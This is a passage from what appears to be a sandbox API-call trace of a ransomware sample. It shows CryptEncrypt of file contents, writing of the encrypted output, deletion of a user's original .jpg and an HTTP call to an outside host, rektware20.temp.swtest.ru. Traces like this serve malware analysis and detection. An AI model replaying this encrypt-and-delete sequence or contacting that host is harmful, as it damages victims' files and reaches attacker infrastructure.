lpMsg=0x130e9dc) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.806] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.807] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.807] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.807] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x937a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9380) returned 1 [0077.807] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.817] CharLowerBuffW (in: lpsz="byte[37761]", cchLength=0xb | out: lpsz="byte[37761]") returned 0xb [0077.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.818] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.819] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.819] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f3230*, pdwDataLen=0x130e618*=0x937a, dwBufLen=0x9380 | out: pbData=0x17f3230*, pdwDataLen=0x130e618*=0x9380) returned 1 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.819] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.820] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.820] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.820] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.820] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.820] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.820] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.820] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.822] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x9380, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x9380, lpOverlapped=0x0) returned 1 [0077.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.823] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0077.823] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.823] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0077.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621318, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0077.824] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0077.824] CryptDestroyKey (hKey=0x164c430) returned 1 [0077.824] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.824] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.824] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.824] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.824] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.824] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.824] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.824] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0077.824] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.824] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.825] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.825] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.825] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.825] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.825] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.825] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.825] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0077.826] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0077.828] CryptReleaseContext (hProv=0x1631ee0, dwFlags=0x0) returned 1 [0077.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.828] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.828] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.828] FreeLibrary (hLibModule=0x74c60000) returned 1 [0077.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.828] CloseHandle (hObject=0x3c8) returned 1 [0077.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.830] CloseHandle (hObject=0x3d8) returned 1 [0077.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.863] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.863] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", lpFilePart=0x0) returned 0x32 [0077.864] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sbjusc2 2k8dl1su.jpg")) returned 0x20 [0077.864] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0077.864] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sbjusc2 2k8dl1su.jpg")) returned 1 [0077.891] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0077.891] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0077.891] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.891] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.892] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0077.892] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0077.892] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.892] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0077.892] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.892] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0077.892] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0077.892] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0077.892] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.892] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.892] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.893] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0077.893] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0077.893] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0077.893] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0077.893] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0077.893] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.894] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.894] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.894] CloseHandle (hObject=0x0) returned 0 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 